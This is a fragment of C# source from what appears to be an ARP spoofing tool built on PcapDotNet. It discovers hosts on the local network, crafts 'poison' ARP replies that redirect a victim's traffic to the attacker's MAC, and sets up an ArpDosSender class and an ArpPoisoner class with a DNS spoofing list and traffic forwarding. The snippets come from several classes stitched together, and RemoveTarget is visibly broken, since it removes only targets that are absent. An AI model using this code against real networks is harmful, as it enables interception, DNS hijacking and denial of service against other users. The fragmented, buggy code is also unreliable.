public void AddTarget(Target target)
{
lock (_targets)
{
if (!_targets.Contains(target))
_targets.Add(target);
}
}
public void RemoveTarget(Target target)
{
lock (_targets)
{
if (!_targets.Contains(target))
{
_targets.Remove(target);
}
}
}
private new void PacketHandler(Packet packet)
{
var arpPacket = packet.Ethernet.Arp;
switch (arpPacket.Operation)
{
case PcapDotNet.Packets.Arp.ArpOperation.Reply:
var senderIp = arpPacket.SenderProtocolIpV4Address.ToString();
if (_isOwnIpIncluded || _ownIp != senderIp)
{
if (senderIp == _gatewayIp )
{
if(!_gateways.ContainsIP(senderIp)){
var target = new Target();
target.IP = senderIp;
//target.MAC = arpPacket.SenderHardwareAddress.ToString();
target.PMAC = new PhysicalAddress(arpPacket.SenderHardwareAddress.ToArray());
target.MAC = Helper.AddSeperatorToNakedMac(target.PMAC.ToString(), ":");
target.Vendor = VendorCodeResolver.instance.Resolve(target.MAC);
Application.Current.Dispatcher.BeginInvoke(new Action(() =>
{
_gateways.Add(target);
}));
}
} else if (!_targets.ContainsIP(senderIp))
{
var target = new Target();
target.IP = senderIp;
//target.MAC = arpPacket.SenderHardwareAddress.ToString();
target.PMAC = new PhysicalAddress(arpPacket.SenderHardwareAddress.ToArray());
target.MAC = Helper.AddSeperatorToNakedMac(target.PMAC.ToString(), ":");
target.Vendor = VendorCodeResolver.instance.Resolve(target.MAC);
Application.Current.Dispatcher.BeginInvoke(new Action(() =>
{
_targets.Add(target);
}));
}
}
break;
}
}
private Packet BuildAntidoteArpPacketReply(Target PacketTarget, Target AntidoteSignature)
{
return BuildArpPacketReply(new IpV4Address(PacketTarget.IP),
new MacAddress(PacketTarget.MAC), new IpV4Address(AntidoteSignature.IP), new MacAddress(AntidoteSignature.MAC));
}
private Packet BuildPoisonArpPacketReply(Target PacketTarget, Target TargetToSpoof)
{
return BuildArpPacketReply(new IpV4Address(PacketTarget.IP),
new MacAddress(PacketTarget.MAC), new IpV4Address(TargetToSpoof.IP), _ownMacAddr);
}
//constructors
public ArpDosSender(LivePacketDevice device, Target Gateway)
{
_device = device;
_gateway = Gateway;
_ownMacAddr = _device.GetMacAddress();
_bgWorker = new BackgroundWorker();
_bgWorker.WorkerSupportsCancellation = true;
_bgWorker.DoWork += new DoWorkEventHandler(DoWork);
_targets = new List<Target>();
}
//constructors
public ArpPoisoner(LivePacketDevice device, Target Gateway)
{
_device = device;
_gateway = Gateway;
_ownMacAddr = _device.GetMacAddress();
_bgWorker = new BackgroundWorker();
_bgWorker.WorkerSupportsCancellation = true;
_bgWorker.DoWork += new DoWorkEventHandler(DoWork);
_targets = new List<Target>();
_dnsSpoofingList = new DNSspoofingList();
_forwardingListener = new Listener.Listener(device, "ip and ( udp or tcp) and ether dst " + _ownMacAddr.ToString() +
" and not host " + _device.getIpV4Address().Address.ToString());
_forwardingListener.StartCapture(Forwarder);
}